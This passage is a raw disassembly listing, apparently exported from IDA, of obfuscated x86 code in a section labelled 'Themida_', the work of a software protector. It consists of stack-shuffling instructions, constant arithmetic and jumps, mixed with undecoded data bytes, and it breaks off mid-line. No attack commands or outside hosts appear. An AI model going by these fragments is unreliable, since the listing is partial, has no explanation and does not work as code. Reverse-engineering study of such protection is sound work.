XREF: Themida_:00556BCCj add dword ptr [esp], 4 mov eax, [esp] add esp, 4 add eax, 4 sub eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp mov [esp], esi push 777Bh mov [esp], ebx push esi push edi mov edi, 2C32575Dh mov esi, edi mov edi, [esp] add esp, 4 xor [esp+4], esi mov esi, [esp] add esp, 4 mov esi, [esp] add esp, 4 jmp loc_55B887 ; --------------------------------------------------------------------------- dw 0EC83h dd 0BFEDE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F53A: ; CODE XREF: Themida_:005596B3j add eax, 4 xchg eax, [esp] pop esp push dword ptr [esp] mov eax, [esp] push 5D9h mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push 6AB9h mov [esp], edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp] pop esp push 7EA1h jmp loc_5643E1 ; --------------------------------------------------------------------------- db 0BDh dd 2, 6AD3BD55h, 0E9290F39h, 81242C8Bh, 4C4h, 0E9E90100h dd 0FFFF685Fh, 0E904C483h, 0FFFEFDC1h ; --------------------------------------------------------------------------- loc_55F5AC: ; CODE XREF: Themida_:00557E44j xor [esp], ecx jmp loc_5614D4 ; --------------------------------------------------------------------------- dd 2395E95Dh, 4FFFFFFh, 0B4E99C24h, 0F7000040h, 0B85092D0h dd 4D383517h, 0A0683105h, 0E9C201D2h, 9C2h ; --------------------------------------------------------------------------- loc_55F5D8: ; CODE XREF: Themida_:0055CD05j pop eax jmp loc_563878 ; --------------------------------------------------------------------------- loc_55F5DE: ; CODE XREF: Themida_:00550722j add esp, 4 add bl, 0B0h add bl, cl jmp loc_564271 ; --------------------------------------------------------------------------- dw 0D828h dd 1F896852h, 1C890000h, 0E9B65224h, 0F3283CB3h, 0E92434FFh dd 0FFFFB396h ; --------------------------------------------------------------------------- loc_55F608: ; CODE XREF: Themida_:00551D79j add bx, dx pop dx push bp mov bp, 73D2h sub bx, bp pop bp sub bx, 4EC8h sub esp, 4 mov [esp], ebp jmp loc_554A15 ; --------------------------------------------------------------------------- dd 649C68h, 241C8900h, 744DB1BBh, 5BDA0115h, 42685057h dd 8B5ED41Fh, 0C4812404h, 4, 2506325h, 7E83054Ah, 3635636Ch dd 899ED8FAh, 0D7F758C7h, 0C103E7C1h, 814F07E7h, 294D8EC7h dd 0E9FA01FBh, 0FFFF73ACh ; --------------------------------------------------------------------------- loc_55F670: ; CODE XREF: Themida_:0055FEDDj xor [esp], edi push dword ptr [esp] jmp loc_55C792 ; --------------------------------------------------------------------------- db 8Bh dd 0C481242Ch, 4, 81E18951h, 4C1h, 4C18100h, 87000000h dd 215C240Ch, 148B1C57h, 0E6895624h, 4C681h, 0C6830000h dd 24348704h, 0FCBBE95Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_55F6B2: ; CODE XREF: Themida_:0055F9CAj pop eax pop esi add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] push 1386h mov [esp], ecx mov ecx, 3131423Bh push ebx push ebp jmp loc_555EC8 ; --------------------------------------------------------------------------- aSs_0 db 'SéÆ(',0 db 0 ; --------------------------------------------------------------------------- loc_55F6DD: ; CODE XREF: Themida_:00559A44j mov [esp], edx push ebp jmp loc_5633E5 ; --------------------------------------------------------------------------- loc_55F6E6: ; CODE XREF: Themida_:0055258Cj add eax, 101B4670h add eax, esi push ebp mov ebp, 101B4670h sub eax, ebp pop ebp pop esi xchg eax, [esp] mov esp, [esp] push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 push ecx jmp loc_55CB51 ; --------------------------------------------------------------------------- db 46h, 81h, 0E6h dd 571B4B57h, 0BEAEC681h, 98E9A9E6h, 0B9FFFF46h, 38FE15A6h dd 0C159C809h, 0D0F704E8h, 2535D8F7h, 0E97752AFh, 0FFFFC320h dd 0B65266ACh, 66CEFE2Ah, 4F7FE952h, 248B0000h, 81D1F724h dd 4ECh, 243C8900h, 6F4F8CBFh, 0C0F78148h, 5711943Ch, 5F2414F7h dd 0F781EFD1h, 567D05F7h, 2DC78147h, 0E9966D6Fh, 105Dh dd 5204C483h, 4BAh, 5AD60100h, 4EC81h, 2C890000h, 0A0B85024h dd 0C11BCC0Bh, 0D8F703E0h, 0FF7DDFE9h, 5E5456FFh, 4C681h dd 0C6830000h, 24343304h, 0FF0F6EE9h, 243C89FFh, 0C7815F54h dd 4, 8704EF83h, 248B243Ch, 243C8924h, 0FF219EE9h, 0C335CFFh dd 240C3124h, 0FF38A5E9h, 6EBC0FFh, 0FFF0CCE9h, 4C481FFh dd 0E9000000h, 0FFFFBC5Eh, 0FF2434FFh, 5FE92434h, 66FFFFB1h dd 6824048Bh, 51B2h, 68243489h, 4FB6h, 604468h, 24248900h dd 4240483h, 8324048Fh, 8B042404h, 0C4832434h, 4C68104h dd 68000000h, 5361h, 89240C89h, 4C181E1h, 81000000h, 4ECh dd 24148900h, 0FF10D8E9h, 515F54FFh, 8904EC83h, 0A0BA2414h dd 89410D1Fh, 81415AD1h, 783C34F1h, 52BF577Fh, 3174477Eh dd 243C8BF9h, 0C104C483h, 0E95206E9h, 3282h, 0EC28A1B5h dd 83240C8Bh, 0ECC004C4h, 0CC8004h, 5302ECC0h, 0DC3081B3h dd 0FFD2A9E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F899: ; CODE XREF: Themida_:0055B3D8j add edx, 0C496C62h xchg edi, edx jmp loc_55B7CF ; --------------------------------------------------------------------------- loc_55F8A6: ; CODE XREF: Themida_:00559E29j mov edi, 1C7972CAh not edi sub edi, 0AD811263h add esi, edi jmp loc_55307A ; --------------------------------------------------------------------------- loc_55F8BA: ; CODE XREF: Themida_:0055502Aj add ebp, 4 push ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 jmp loc_551507 ; --------------------------------------------------------------------------- dd 5C243C87h, 0FFDBA0E9h, 240487FFh, 0FF0780E9h, 81E189FFh dd 4C1h, 4C18300h, 8B240C87h, 83E92424h, 51FFFF87h, 0FF0E6CE9h dd 85E958FFh db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F903: ; CODE XREF: Themida_:005636FAj mov ecx, 4010005Eh add eax, 4E3A7A19h jmp loc_56396D ; --------------------------------------------------------------------------- dw 56E9h dd 0FFFFFEFAh, 0DCE92434h, 5AFFFF3Ah, 0FF0856E9h, 243489FFh dd 0A50C2ABEh, 43E8E969h, 24890000h, 24048124h, 4, 4B95158h dd 57000000h, 59266855h, 34FF6CF3h, 0C4835D24h, 74ED8104h dd 891CACE4h, 0E9555DEFh, 0FFFF5179h, 4C481h, 0F8310000h dd 0FFA87EE9h, 4BE56FFh, 1000000h, 2434FFF2h, 4C4835Eh dd 0FF92B3E9h, 81E589FFh, 4C5h, 0E9515600h, 49B4h, 233062BEh dd 0CAEE811Ch, 830C8F43h, 0C68101EEh, 4C00142Dh, 44E9F729h dd 8900001Eh, 0D5B9240Ch, 4973C202h, 0FE3E941h, 0E981FFFFh dd 28F868DBh, 0E904EC83h, 0FFFFF41Ah ; --------------------------------------------------------------------------- loc_55F9C8: ; CODE XREF: Themida_:0054F4CFj sub ebp, eax jmp loc_55F6B2 ; --------------------------------------------------------------------------- db 1 dd 32EA81CAh, 5972445Bh, 0B951FA01h, 78432CDAh, 0FF231AE9h db 0FFh ; --------------------------------------------------------------------------- loc_55F9E5: ; CODE XREF: Themida_:00561F9Ej push edi jmp loc_55FCE3 ; --------------------------------------------------------------------------- loc_55F9EB: ; CODE XREF: Themida_:005567ECj not ebx jmp loc_5625C0 ; --------------------------------------------------------------------------- loc_55F9F2: ; CODE XREF: Themida_:005559F6j add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_5584EF ; --------------------------------------------------------------------------- dw 0EDD1h dd 0FF33C2E9h, 5AD529FFh, 5106E5C1h, 9ED1C2B9h, 26C58194h dd 1463C3Ch, 26ED81CDh, 59463C3Ch, 6E8BF57h, 0FD216A85h dd 4AED815Fh, 3131E4F3h, 0DEF75DEEh, 210DE952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FA42: ; CODE XREF: Themida_:0055C69Fj push dx mov dl, 0E6h add ch, dl pop dx mov al, ch pop ecx xchg bh, al not bh xchg bh, al jmp loc_55EED3 ; --------------------------------------------------------------------------- dd 0BF243C89h, 53B872B0h, 8244481h, 1C6929ACh, 8247C29h dd 8246C81h, 1C6929ACh, 243C8B5Fh, 0FF59A2E9h, 58C231FFh dd 49B868h, 94F8E900h, 0D1F7FFFFh, 0FF274EE9h, 74FF55FFh dd 8F5D0424h, 248B2404h, 46C1E924h, 8B5BFFFFh, 0C4812404h dd 4, 0FFBE34E9h, 5FFA29FFh, 0FFF44FE9h, 4F095AFFh, 240C8B1Ch dd 0FFFADFE9h, 24348BFFh, 5704C483h, 0FFF822E9h db 0FFh ; --------------------------------------------------------------------------- loc_55FAD1: ; CODE XREF: Themida_:0055A381j sub ecx, 4A622EE4h or ecx, 0C2217E4h add ecx, 0B0D86815h jmp loc_55811B ; --------------------------------------------------------------------------- loc_55FAE8: ; CODE XREF: Themida_:00558E29j add ecx, 4 sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], esi push 3FA5h jmp loc_551763 ; --------------------------------------------------------------------------- loc_55FB07: ; CODE XREF: Themida_:0055146Fj shr ecx, 7 push ebp push esp push dword ptr [esp] pop ebp add esp, 4 push 415Eh mov [esp], esi push 1F65h jmp loc_55E69C ; --------------------------------------------------------------------------- db 52h, 0BAh, 14h dd 9527110h, 2DFAE9D0h, 1433FFFFh, 24143124h, 8B241433h dd 0E9522424h, 0FFFF8692h, 45C6815Ah, 1F04742h, 0C4E95EF0h dd 81FFFFFDh, 0BB5760C7h, 81D72979h, 0BB5760EFh, 0EF815A79h dd 27BC2004h, 0C781CF29h, 27BC2004h, 37C8E9h db 0 ; --------------------------------------------------------------------------- loc_55FB75: ; CODE XREF: Themida_:00562E4Ej mov dl, 0BAh add dl, 34h add dl, 0FFh sub dl, 98h sub bl, dl pop edx add bl, 0D4h push cx push eax push ecx mov cl, 0B9h mov ah, cl pop ecx jmp loc_54FA7B ; --------------------------------------------------------------------------- loc_55FB94: ; CODE XREF: Themida_:0055C19Fj mov ah, bl mov bl, ch jmp loc_552D18 ; --------------------------------------------------------------------------- loc_55FB9D: ; CODE XREF: Themida_:00552626j push ecx mov ecx, esp push ebx mov ebx, 1F9B2CD2h add ebx, 0E064D332h add ecx, ebx mov ebx, [esp] add esp, 4 push esi jmp loc_55B785 ; --------------------------------------------------------------------------- loc_55FBBD: ; CODE XREF: Themida_:0055212Cj add esp, 4 mov dl, bh pop ebx pop eax add bl, 1Ah jmp loc_55D7AC ; --------------------------------------------------------------------------- loc_55FBCF: ; CODE XREF: Themida_:005572D6j xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_556F75 ; --------------------------------------------------------------------------- db 89h, 0CFh, 59h dd 815FFE29h, 4ECh, 4367E900h, 248BFFFFh, 4896624h, 0F773E924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_55FBFA: ; CODE XREF: Themida_:00558EEDj push ebp jmp loc_5559FB ; --------------------------------------------------------------------------- dd 4BFh, 5FFB0100h, 0E904EB83h, 0FFFFC2FBh ; --------------------------------------------------------------------------- loc_55FC10: ; CODE XREF: Themida_:0055AAF0j push eax mov eax, ecx mov esi, eax pop eax pop ecx add ebp, esi push dword ptr [esp] pop esi jmp loc_55AB74 ; --------------------------------------------------------------------------- loc_55FC22: ; CODE XREF: Themida_:0055CFBBj neg edi add edi, 40971558h sub edi, 606A211Bh push ecx jmp loc_55433B ; --------------------------------------------------------------------------- dw 0F989h dd 83243C8Bh, 0EC8104C4h, 4, 0E9241C89h, 0FFFFA51Ch, 5324148Bh dd 0C381E389h, 4, 8704C383h, 0E95C241Ch, 1187h, 4C481h dd 665A0000h, 1AE9515Bh db 3Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FC73: ; CODE XREF: Themida_:0055A4EAj pop ebx push edx mov edx, 6FAD17B8h add edx, 9052E84Ch add ebx, edx pop edx push 1718h mov [esp], ebp sub esp, 4 mov [esp], esi mov esi, 23D278B4h mov ebp, 23D278B8h sub ebp, esi pop esi sub ebx, ebp jmp loc_5611A7 ; --------------------------------------------------------------------------- db 80h, 0EEh, 45h dd 86F680h, 148B66F3h, 2C48124h, 66000000h, 3AE96858h dd 14890000h, 0F62DB624h, 82B753D6h, 0FFD1B9E9h, 4C783FFh dd 8B243C87h, 8E052424h, 66365A33h, 63E930FFh db 4Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FCE3: ; CODE XREF: Themida_:0055F9E6j mov edi, 257F11A1h xor edx, edi pop edi jmp loc_560882 ; --------------------------------------------------------------------------- dd 0C381D3F7h, 607273F3h, 1C8BDD09h, 4C48124h, 56000000h dd 0AB0135BEh, 5EF52945h, 0E95DEE21h, 0FFFF34EBh ; --------------------------------------------------------------------------- loc_55FD14: ; CODE XREF: Themida_:00558606j push 135Bh mov [esp], esi mov esi, 1C957B04h jmp loc_5528F0 ; --------------------------------------------------------------------------- dw 0E981h dd 6B3964D7h, 76A9C981h, 0D1F707DEh, 0FFAF03E9h, 4C483FFh dd 4DF02D5Ah, 0C8290C91h, 914DF005h, 2434FF0Ch, 5E996859h dd 3C890000h, 0E9E78924h, 0FFFF7545h ; --------------------------------------------------------------------------- loc_55FD5C: ; CODE XREF: Themida_:00554FA9j mov [esp], eax not dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 jmp loc_55DB47 ; --------------------------------------------------------------------------- db 80h, 0F2h, 58h dd 148BD328h, 4C48324h, 8904EC83h, 0E952240Ch, 15C8h, 2414F755h dd 0FFE9E0E9h, 5FFE89FFh, 815EF189h, 4B5B95C1h, 9FC5E925h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FDA2: ; CODE XREF: Themida_:00561DCFj and edi, edx pop edx add edi, 7F840541h jmp loc_55A2F2 ; --------------------------------------------------------------------------- dd 89242C89h, 0F2BF57E5h, 0E9321D10h, 40Fh, 24048B66h dd 4E4868h, 2FF6E900h, 4BD0000h, 29000000h, 14335DEAh dd 24143124h, 8B241433h, 1C892424h, 4BB24h, 0BE560000h dd 42A62F66h, 0FF3277E9h, 0EC505FFh, 0EC834BFCh, 4867E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55FE02: ; CODE XREF: Themida_:005624B6j push 20034DC3h jmp loc_54F8D8 ; --------------------------------------------------------------------------- loc_55FE0C: ; CODE XREF: Themida_:00552A61j push dword ptr [esp] push dword ptr [esp] mov ebp, [esp] add esp, 4 add esp, 4 push ecx jmp loc_555B65 ; --------------------------------------------------------------------------- loc_55FE24: ; CODE XREF: Themida_:005545C5j and ebx, 70003712h jmp loc_5567E9 ; --------------------------------------------------------------------------- loc_55FE2F: ; CODE XREF: Themida_:0056232Bj mov edx, 859AB263h push ecx mov ecx, 61A76FECh sub esp, 4 mov [esp], ebx mov ebx, 6FE455A3h or ecx, ebx pop ebx or ecx, 386118D1h sub ecx, 161D08E4h add edx, ecx pop ecx add edx, ecx sub edx, 69CA771Bh push dword ptr [esp] pop ecx add esp, 4 sub edx, 22107968h jmp loc_562272 ; --------------------------------------------------------------------------- db 31h dd 2C33242Ch, 82F6E924h, 8952FFFFh, 4C281E2h, 81000000h dd 4C2h, 24148700h, 5D54555Ch, 4C581h, 0ED830000h, 242C8704h dd 241C895Ch, 2C68h, 0FB015B00h, 0BF5751h, 0E9000000h dd 0FFFF92DEh, 4EC815Fh, 89000000h, 0E0BD242Ch, 0D1495948h dd 173368E5h, 0D7E90000h db 23h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55FED7: ; CODE XREF: Themida_:0055EF51j xor [esp], edi xor edi, [esp] jmp loc_55F670 ; --------------------------------------------------------------------------- loc_55FEE2: ; CODE XREF: Themida_:00557311j xor [esp], edx jmp loc_559BFF ; --------------------------------------------------------------------------- dw 0BA52h dd 6DE36052h, 0FF4201E9h, 85B951FFh, 89FE638Dh, 1D91E9CFh dd 0CF01FFFFh, 243C8759h, 6653665Ch, 22474FFh, 8F665B66h dd 8B662404h, 0C4832404h, 8D686602h, 34896625h, 115FE924h dd 815B0000h, 4C3h, 5B85000h, 40705C36h, 1905D8F7h, 0E928843Eh dd 0FFFFC38Ch ; --------------------------------------------------------------------------- loc_55FF44: ; CODE XREF: Themida_:00554150j mov esi, [esp] add esp, 4 push ecx jmp loc_55A4EF ; --------------------------------------------------------------------------- loc_55FF50: ; CODE XREF: Themida_:005642CEj dec edi neg edi jmp loc_556FDC ; --------------------------------------------------------------------------- dd 3819ED81h, 2AE9049Ch db 36h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55FF63: ; CODE XREF: Themida_:00560FE0j push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_55D21C ; --------------------------------------------------------------------------- dd 5C240487h, 89243C89h, 4BB53E7h, 81000000h, 613685EFh dd 81DF0158h, 613685C7h, 0B641E958h, 0E958FFFFh, 0FFFFB099h dd 4C481h, 0EE90000h, 81FFFF41h, 4ECh, 24148900h, 2278C8BAh dd 0CE79E916h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FFBE: ; CODE XREF: Themida_:005509D5j sub edx, 0A55F3658h add edi, edx pop edx add ebx, 587771A9h jmp loc_55157A ; --------------------------------------------------------------------------- loc_55FFD2: ; CODE XREF: Themida_:00552BE1j mov edx, [esp] jmp loc_554701 ; --------------------------------------------------------------------------- dw 0DA01h dd 27C2815Bh, 0F74CC639h, 3DC3E9D2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55FFEA: ; CODE XREF: Themida_:00553CE2j sub esp, 4 jmp loc_552A42 ; --------------------------------------------------------------------------- dw 0D828h dd 4EC81h, 0C890000h, 74B124h, 2434FFC8h, 4C48159h, 68000000h dd 30A7h, 83240C89h, 1C8904ECh, 0B550B724h, 2AC5804Dh dd 0ED80FD00h, 968EE92Ah, 0E589FFFFh, 4EC81h, 1C890000h dd 0EDBB24h, 0E3813D49h, 231536EEh, 2F79E9h, 0C875800h dd 24248B24h, 9C240CFFh, 0FEF318E9h, 0FE2959FFh, 0CE01585Fh dd 18F5EE81h, 0C8B2750h, 4C48124h, 68000000h, 6F7Ch, 0FFB2E6E9h dd 0A7E952FFh db 3Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56007B: ; CODE XREF: Themida_:00563224j mov eax, 80A12207h add ecx, eax pop eax push ecx mov ecx, 16193420h sub esi, ecx pop ecx sub esi, 132A4862h sub esi, ecx add esi, 132A4862h push ebp jmp loc_552C6B ; --------------------------------------------------------------------------- loc_5600A0: ; CODE XREF: Themida_:00559363j xchg eax, [esp] mov esp, [esp] jmp loc_560807 ; --------------------------------------------------------------------------- db 50h dd 333A1B8h, 76E40577h, 97E96C14h, 81FFFF67h, 813D31EEh dd 0E2EE8107h, 29D005F3h, 81595EF0h, 4ECh, 241C8900h, 461868h dd 240C8900h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_560CA1 ; --------------------------------------------------------------------------- dw 0E95Ch dd 0FFFF35AEh, 202EF280h, 0C7865AD7h, 0C786D0F6h, 0BCE95166h dd 66FFFFA3h, 55240C8Bh, 72685D54h, 8900001Ch, 82B9240Ch dd 814AAF0Ch, 0AF0C86F1h, 59CD014Ah, 8704ED83h, 248B242Ch dd 243C8924h, 0FFEFD1E9h db 0FFh ; --------------------------------------------------------------------------- loc_560131: ; CODE XREF: Themida_:005519B5j xor ecx, 4AF024B5h jmp loc_550F73 ; --------------------------------------------------------------------------- aWSp db ')w$é¯',27h,0 align 4 dd 4ABA5259h, 8116BC21h, 7DEB5EC2h, 0EAEF812Ch, 0E90CE03Ch dd 0FFFFBAFFh ; --------------------------------------------------------------------------- loc_56015C: ; CODE XREF: Themida_:00558500j push ebx mov ebx, 59070741h push ebx not dword ptr [esp] mov ebx, [esp] add esp, 4 push ecx mov ecx, 6BF374CDh and ebx, ecx jmp loc_55F202 ; --------------------------------------------------------------------------- db 0C0h, 0E1h, 5 dd 0FE25F180h, 0C4B353C9h, 0E95BD930h, 0FFFF9E17h ; --------------------------------------------------------------------------- loc_56018C: ; CODE XREF: Themida_:005607D8j push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_5545D9 ; --------------------------------------------------------------------------- loc_5601A4: ; CODE XREF: Themida_:00550824j xor esi, [esp] jmp loc_557AD8 ; --------------------------------------------------------------------------- dd 3052872Dh, 240C8B7Bh, 0FF872CE9h db 0FFh ; --------------------------------------------------------------------------- loc_5601B9: ; CODE XREF: Themida_:0056153Fj add esp, 4 pop dword ptr [esp] mov esp, [esp] shr ecx, 0Ah push 1D32h jmp loc_556BC1 ; --------------------------------------------------------------------------- db 0F7h dd 0E9DFF7DFh, 0FFFF7F52h ; --------------------------------------------------------------------------- loc_5601D8: ; CODE XREF: Themida_:0055A5D6j pop esp jmp loc_55925D ; --------------------------------------------------------------------------- dw 0C981h dd 468E4E0Ch, 7EEE9h, 40E95B00h, 8700003Ah, 895C2434h dd 8A68243Ch, 89000037h, 68BE2434h, 6812870Bh, 1866h, 0E9243489h dd 0FFFFCEE9h, 650AF781h, 0FA01634Ch, 120BE9h, 0C8B6600h dd 4A3C6824h, 3C890000h, 68E78924h, 3EB9h, 52240C89h, 0FD6FA9BAh dd 0E9D1892Bh, 33A8h ; --------------------------------------------------------------------------- loc_560240: ; CODE XREF: Themida_:005546E8j add ebx, 0EF661FDh sub ebx, eax sub ebx, 0EF661FDh sub esp, 4 mov [esp], esi push 53357216h jmp loc_5526FF ; --------------------------------------------------------------------------- db 89h, 0E7h, 81h dd 4C7h, 7FBB5300h, 4B67D33Dh, 7132E381h, 0D7E94B74h, 4AFFFF43h dd 865E9h, 4713BB00h, 0E381377Bh, 5CE551E7h, 0FFE234E9h dd 48F59FFh, 24248B24h, 9C240428h, 0FEF0CCE9h db 0FFh ; --------------------------------------------------------------------------- loc_5602A1: ; CODE XREF: Themida_:00554709j add eax, 4 jmp loc_56384E ; --------------------------------------------------------------------------- db 52h dd 0B610F4BAh, 246C8179h, 9A63BC04h, 24542956h, 0BCB85004h dd 1569A63h, 0E9082444h, 0FFFF9A5Eh, 224568h, 0A39FE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5602D6: ; CODE XREF: Themida_:005618E2j mov eax, edi jmp loc_56411B ; --------------------------------------------------------------------------- db 58h, 50h, 68h dd 1F14h, 81242489h, 42404h db 2 dup(0), 58h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_55F477 ; --------------------------------------------------------------------------- db 80h dd 0C05B71C1h, 0E98003E1h, 0E9CC884Ah, 0FFFFB010h, 83240C8Bh dd 0FE3004C4h, 0FF7557E9h db 0FFh ; --------------------------------------------------------------------------- loc_560321: ; CODE XREF: Themida_:00555482j add ebx, 0D9A0A96h add ebx, 37627D7Bh pop ebp jmp loc_552A92 ; --------------------------------------------------------------------------- loc_560333: ; CODE XREF: Themida_:0055081Cj xor ecx, 684661EAh jmp loc_55B1CD ; --------------------------------------------------------------------------- loc_56033E: ; CODE XREF: Themida_:00563391j push edx mov edx, 759D42BDh add edx, 1AF31C48h not edx jmp loc_561B14 ; --------------------------------------------------------------------------- loc_560351: ; CODE XREF: Themida_:00556BDDj pop ebp pop dword ptr [esp] mov esp, [esp] xor esi, [esp] xor [esp], esi jmp loc_55ED68 ; --------------------------------------------------------------------------- db 29h dd 0BD04E9EAh, 2C89FFFFh, 4BD24h, 6C010000h, 2C8B0424h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp pop ebx sub esp, 4 mov [esp], eax mov eax, 3E6D371Fh push 23ACh jmp loc_55BAD4 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 84668h, 243C8900h, 5C7BFh, 0F7C8E911h, 585BFFFEh dd 0FF47BDE9h, 4C683FFh, 8B243487h, 0C6E92424h db 46h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5603CF: ; CODE XREF: Themida_:0055843Bj mov edx, 59213059h shr edx, 4 push ebp mov ebp, 0B1A703Ah jmp loc_5594AE ; --------------------------------------------------------------------------- loc_5603E2: ; CODE XREF: Themida_:00553067j mov ebp, [esp] add esp, 4 push edi jmp loc_55F46E ; --------------------------------------------------------------------------- dw 429h dd 24048124h, 25A46E9Ah, 3E240481h, 0E97A8030h, 0FFFF1CAEh dd 8B240433h, 89662424h, 4C30240Ch, 4C320124h, 0C6E90124h dd 0BDFFFF2Dh, 40277E3Dh, 15DEA29h, 0E99E9D7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56042A: ; CODE XREF: Themida_:005566B1j mov ecx, 2 push edx jmp loc_55670D ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 0D92AC068h, 97DEE95Ah, 0F381FFFFh, 9314A98Bh, 15BDD31h dd 1D25E9EEh, 0EB80FFFFh, 66C30083h, 83B151h, 525966CBh dd 0E280C5B2h, 19B75359h, 519EC780h, 0EF28E0B5h, 0FF8964E9h dd 43C680FFh, 148BF000h, 0E0895024h, 405h, 4C08300h, 1102E9h db 0 ; --------------------------------------------------------------------------- loc_56048D: ; CODE XREF: Themida_:0054FA33j push 7478h mov [esp], ebp mov ebp, 4 sub edx, 5E3A23F1h add edx, ebp add edx, 5E3A23F1h pop ebp sub edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp jmp loc_5539A6 ; --------------------------------------------------------------------------- dw 0B951h dd 47277CCAh, 0FEF142E9h, 0C18149FFh, 0EE060DF1h, 0FF4750E9h dd 14F752FFh, 588CE924h, 8B66FFFFh, 86E92424h db 0EEh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5604E7: ; CODE XREF: Themida_:00550792j add eax, ebp push ebx mov ebx, 203772FCh xor ebx, 60142576h jmp loc_554CDF ; --------------------------------------------------------------------------- dw 24BDh dd 31208507h, 0C8AFE9EBh, 0E929FFFFh, 0E959CD89h, 0FFFF76A4h dd 0B204CFB0h, 5158C328h, 88C4B652h, 0C5FE5AF5h, 4EED80h dd 207EE9EBh, 815EFFFFh, 4C4h, 2434FF00h, 52240C8Bh, 0C281E289h dd 4, 4C281h, 14870000h, 0C4835C24h, 2434FF04h, 8124048Bh dd 4C4h, 0C1C3E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56055E: ; CODE XREF: Themida_:0055CEBDj sub edx, ebx pop ebx push esi mov esi, 165212C9h add edx, esi pop esi sub eax, edx pop edx jmp loc_562924 ; --------------------------------------------------------------------------- dw 0B450h dd 79FEE91Ch, 14F7FFFFh, 10E2E924h, 0C8B0000h, 505C6824h dd 14890000h, 0E0C4E924h, 0C481FFFFh, 4, 20BE5653h, 167E86Fh dd 0E9042474h, 0FFFF00E6h ; --------------------------------------------------------------------------- loc_5605A8: ; CODE XREF: Themida_:005619C3j xchg ebp, ecx not ebp push ecx push ebp pop ecx jmp loc_5555A4 ; --------------------------------------------------------------------------- dd 0D504F028h, 0E92434FFh, 5B6h, 0E953612Ch, 0FFFF9825h dd 66E3285Bh, 8324048Bh, 0C32802C4h, 2EC81h, 22E90000h db 0FBh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5605DF: ; CODE XREF: Themida_:00558F9Ej pop esi xor edi, 1201444h push 644Dh mov [esp], edi push ebx mov ebx, 7CCF34B2h sub [esp+4], ebx jmp loc_550578 ; --------------------------------------------------------------------------- db 2 dup(59h), 0E9h dd 0FFFF92E8h, 8155FD29h, 4ECh, 243C8900h, 862A40BFh, 0C8C9E927h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56061A: ; CODE XREF: Themida_:005559D5j xor esi, [esp] jmp loc_55E8CB ; --------------------------------------------------------------------------- dw 3C89h dd 0C17BF24h, 0C781471Eh, 6C1C7816h, 3AC1EF81h, 0C7814B05h dd 4D644458h, 214CF781h, 0C7813430h, 66B81449h, 3F48E9h dd 5AD32900h, 8B241C87h, 0C892424h, 737E6824h, 34FF24A1h dd 0EC835924h, 0E9A8E904h, 55DFFFFh, 61392CA1h, 0D16B3B05h dd 2DF80130h, 30D16B3Bh, 0FF326BE9h, 0E9FA01FFh, 0FFFF0DA7h dd 0EC83E589h, 24048904h, 4B8h, 58C50100h, 4C581h, 2C870000h dd 18E95C24h, 81FFFFCAh, 40945AE9h, 0E9CE01C0h, 3AB6h dd 0EC6DE95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5606BA: ; CODE XREF: Themida_:00562BC6j add esp, 4 sub esp, 4 mov [esp], esi jmp loc_563935 ; --------------------------------------------------------------------------- dw 0EC83h dd 24048904h, 42474FFh, 0FF7B3BE9h, 58C101FFh, 4E981h dd 0C330000h, 240C3124h, 5C240C33h, 89240C89h, 0A8D68E1h dd 2C890000h, 4BD24h, 0E9010000h, 0E9242C8Bh, 0FFFEF779h dd 348BF089h, 0E0895024h, 405h, 4EC8300h, 0BA241489h, 4 dd 875AD001h, 7AE92404h, 80FFFFCAh, 0CAFE1CC2h, 80B7EA80h dd 0B1E90BC2h, 50FFFFF9h, 0EBE9E089h, 59FFFFB0h, 47EA815Fh dd 10E1A79h, 47C281C2h, 810E1A79h, 985637EAh, 0EC0BE912h dd 0C483FFFEh, 24143304h, 1AE3E9h, 89EF8100h, 1C0E768h dd 0C9095FFAh, 0FF0621E9h, 0D8F681FFh, 812C1377h, 6F6A6AC6h dd 6EEC160h, 0CDCC681h, 0E981FE43h, 5A17345h, 